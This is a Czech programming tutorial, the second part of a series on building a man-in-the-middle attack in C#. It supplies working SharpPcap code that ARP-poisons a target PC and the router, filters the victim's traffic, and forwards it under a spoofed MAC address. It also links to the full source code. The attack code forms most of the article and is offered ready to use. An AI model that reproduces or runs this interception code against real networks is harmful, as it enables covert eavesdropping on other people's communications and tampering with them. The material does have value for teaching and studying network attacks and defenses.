Zpět na seznam článků     Číst komentáře (0)     Verze pro tisk

Man in the middle útok v C# - Zachytávání a přeposílání paketů (2)

Autor: jech   
6.1.2014

Druhá část článku o implementaci Man in the middle útocku v jazyku C#.


Minulý článek se týkal ARP Poisoningu, což je první část, kterou potřebujeme k úspěšné realizaci Man in the middle útoku. V tomto článku se podíváme na druhou část – zachytávání a přeposílání paketů.

Díky ARP Poisoningu totiž na naše (neboli útočníkovo PC) chodí všechny pakety, které se snaží napadený uzel odeslat do sítě a zároveň také všechny pakety, které mají jít ze směrovače (či jiného síťového zařízení, které jsme napadli) na napadený uzel.

Všechny tyto pakety končí na našem stoji a nic se s nimi neděje – napadený uzel tak nemůže komunikovat a pozná, že je něco špatně. Musíme tedy pakety zpracovat v našem nástroji a následně je správně přeposlat.

K tomu jsem využil funkci CatchAndResendPackets(filter, device), která v parametru přijímá filter, který určuje, jaká pakety se mají zachytávat a síťové zařízení (device). Funkce běží ve vlastním vlákně a je volána ze statické funkce manInTheMiddleAttack, která spouští samotný útok.

funkce manInTheMiddleAttack
  1.  
  2. private static void manInTheMiddleAttack()
  3. {
  4.   int readTimeoutMillisecond = 1000;
  5.  
  6.   CaptureDeviceList devices = CaptureDeviceList.Instance;
  7.   ICaptureDevice device = devices[2];
  8.   device.Open(DeviceMode.Normal, readTimeoutMillisecond);
  9.  
  10.   //string filter = "not ether src host 00:00:00:11:11:11 and ((src host 192.168.2.104 and not dst host 192.168.2.101) or (not src host 192.168.2.101 and dst host 192.168.2.104))";
  11.  
  12.   string filter = "not ether src host " + falseMac.ToString() + " and ((src host " + celeronIP.ToString() + " and not dst host "+localIP.ToString()+") or (not src host "+localIP.ToString()+" and dst host "+celeronIP.ToString()+"))";
  13.  
  14.   ThreadPool.QueueUserWorkItem((o) => { ARPpoisoningAttack(device, localPcMac, celeronIP, localRouterIp, localRouterMac); });
  15.   ThreadPool.QueueUserWorkItem((o) => { ARPpoisoningAttack(device, localPcMac, localRouterIp, celeronIP, celeronMAC); });
  16.   ThreadPool.QueueUserWorkItem((o) => { CatchAndResendPackets(filter, device); }); //preposilani paketu
  17. }


Abychom mohli funkci CatchAndResendPackets zavolat, potřebujeme nejprve vytvořit filtr. To je asi nejobtížnější část celého úkolu, neboť při špatně sestaveném filtru se může například stát, že budete opětovně přeposílat již odeslané pakety a dojde tak k zacyklení.

Ve filtru vlastně určujeme, kteréže pakety se chystáme zpracovat, tedy někam přeposlat. Jde o všechny pakety, které přijdou z napadeného PC a mají jinou destinaci, než náš stroj a také všechny pakety, které přijdou z routeru a mají být doručeny na napadený stroj.

V první části filtru nejprve vyloučíme pakety, které přeposíláme my. Používáme podvrženou MAC adresu 00:00:00:11:11:11, takže pakety lze snadno identifikovat. První část filtru tak má tedy tvar „not ether src host "+falseMac.ToString()“ přičemž falceMac je naše podvržená MAC.

S touto podmínkou musí být zároveň splněna jedna ze dvou následujících:

  • paket pochází z napadeného PC a nemá destinaci naše lokální PC (tedy našeho), nebo
  • paket má destinaci napadené PC a nepochází z lokálního PC.

Podmínky pak vypadají následovně (celeron je PC, na které utočíme):

  • src host " + celeronIP.ToString() + " and not dst host "+localIP.ToString()
  • not src host "+localIP.ToString()+" and dst host "+celeronIP.ToString()

Nyní je potřeba všechny podmínky spojit a správně stanovit závorky, výsledný filtr pak tedy vypadá následovně:

"not ether src host " + falseMac.ToString() + " and ((src host " + celeronIP.ToString() + " and not dst host "+localIP.ToString()+") or (not src host "+localIP.ToString()+" and dst host "+celeronIP.ToString()+"))";


Funkce CatchAndResendPackets

Nyní se dostáváme k funkci CatchAndResendPackets, která slouží k zachytávání a přeposílání paketů. Nejprve je na daném zařízení registrován handler, který určuje, co se zachycenými pakety (jde o událost OnPacketArrival). Při výskytu této události (tedy když dorazí paket) musíme zavolat funkci resendPacketOnArrivalEventHandler, která se stará o samotné přeposílání paketů.

Dále je potřeba danému zařízení nastavit filtr pro zachytávání paketů a spustit pomocí funkce StartCapture() zachytávání. Volání ReadLine slouží jen k tomu, aby po stisknutí enteru došlo k ukončení zachytávání.

funkce CatchAndResendPackets
  1.  
  2. public static void CatchAndResendPackets(string filter, ICaptureDevice device)
  3. {
  4.   //registrace handleru
  5.   device.OnPacketArrival += new PacketArrivalEventHandler(resendPacketOnArrivalEventHandler);
  6.   device.Filter = filter; //nastaveni filteru
  7.  
  8.   Console.WriteLine("-- Listening on {0},  \n\nHit 'Enter' to stop...", device.Description);
  9.   device.StartCapture(); //start zachytávání
  10.  
  11.   Console.ReadLine();
  12.   device.StopCapture();
  13.   device.Close();
  14. }


Funkce resendPacketOnArrivalEventHandler

Ve funkci resendPacketOnArrivalEventHandler nejprve dojde k extrakci IP paketu ze zachycených dat. Poté jako zdrojovou MAC adresu nastavíme naši falešnou MaC (falseMac).

Následně můžeme zjistit, kam IP paket původně směroval a přeposlat ho na danou destinaci. K tomu nám slouží podmínky IF a ELSE IF. Pokud zjistíme, že paket směroval na router, nastavíme cílovou MAC na MAC routeru.

Pokud směřoval na napadený PC, nastavíme paketu MAC napadeného PC. Pokud není ani jedna z podmínek splněna, pošleme paket na výchozí bránu. Následně musíme vytvořit instanci objekt IPv4Packet a přepočítat kontrolní součet. Poté už stačí pouze otevřít vybrané síťové zařízení a pomocí funkce SendPacket paket odeslat. A máme hotovo.

funkce esendPacketOnArrivalEventHandler
  1. private static void resendPacketOnArrivalEventHandler(object sender, CaptureEventArgs e)
  2. {
  3.   Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
  4.   Type t = typeof(IpPacket);
  5.   IpPacket ipPacket = (IpPacket)packet.Extract(t); //vytvoření IP paketu ze zachycených dat
  6.  
  7.   EthernetPacket ethernet = (EthernetPacket)packet.Extract(typeof(EthernetPacket));
  8.   ethernet.SourceHwAddress = falseMac; //nastavení falešné zdrojové mac
  9.  
  10.   if (ipPacket == null)
  11.   {
  12.     return;
  13.   }
  14.   //pokud je destination router, pošli routeru
  15.   if (ipPacket.DestinationAddress.ToString() == localRouterIp.ToString())
  16.   {              
  17.     ethernet.DestinationHwAddress = localRouterMac;
  18.   }
  19.   //pokud napadený PC, posli napadenému PC
  20.   else if (ipPacket.DestinationAddress.ToString() == celeronIP.ToString())
  21.   {
  22.     ethernet.DestinationHwAddress = celeronMAC;
  23.   }
  24.   //posli na vychozi branu
  25.   else
  26.   {
  27.     ethernet.DestinationHwAddress = localRouterMac;
  28.   }
  29.  
  30.   IPv4Packet ipv4 = (IPv4Packet)ipPacket;
  31.   ipv4.UpdateIPChecksum(); //updatuje check sum, nutné
  32.  
  33.   CaptureDeviceList devices = CaptureDeviceList.Instance;
  34.   ICaptureDevice device = devices[2];
  35.   device.Open();
  36.  
  37.   Console.WriteLine("resending packet to "+ipPacket.DestinationAddress);
  38.   device.SendPacket(packet);
  39. }


Ověřit funkčnost implementace lze poměrně snadno, například pomocí Wiresharku. Abyste nemuseli zdrojové kódy postupně lepit z jednotlivých částí článku a tvořit všechny statické proměnné ručně, můžete si kompletní zdrojový kód k tomuto příkladu stáhnout zde.

Kompletní zdrojové kody pro tento příklad jsou k dispozici zde.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 2.08/12

1  2  3  4  5    
(známkování jako ve škole)